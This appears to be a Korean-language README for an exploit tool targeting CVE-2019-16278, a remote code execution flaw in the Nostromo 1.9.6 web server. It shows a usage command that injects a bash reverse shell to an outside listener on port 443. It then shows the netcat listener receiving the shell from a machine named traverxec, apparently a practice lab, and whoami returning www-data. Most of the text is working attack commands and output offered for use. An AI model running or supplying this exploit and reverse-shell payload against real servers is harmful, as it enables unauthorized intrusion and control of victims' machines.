fredbrave/cve-2019-16278-nostromo-1.9.6-rce이것은 Nostromo 1.9.6 RCE에 대한 CVE-2019-16278 익스플로잇입니다. 이 익스플로잇은 피해자 머신에서 RCE를 허용합니다.
이것은 Nostromo 1.9.6 RCE에 대한 CVE-2019-16278의 익스플로잇입니다. 이 익스플로잇은 피해자 머신에서 RCE를 가능하게 합니다.
optparse socat sys
다음과 같이 익스플로잇을 사용할 수 있습니다:
python3 CVE-2019-16278.py --ip=10.129.192.225 --port=80 --command="bash -c 'bash -i >& /dev/tcp/10.10.16.42/443 0>&1'"
b'HTTP/1.1 200 OK\r\nDate: Thu, 04 May 2023 22:05:36 GMT\r\nServer: nostromo 1.9.6\r\nConnection: close\r\n\r\n\r\n'
nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.16.42] from (UNKNOWN) [10.129.192.225] 40752
bash: cannot set terminal process group (1005): Inappropriate ioctl for device
bash: no job control in this shell
www-data@traverxec:/usr/bin$ whoami
whoami
www-data
www-data@traverxec:/usr/bin$
해킹에 행운을 빕니다!!!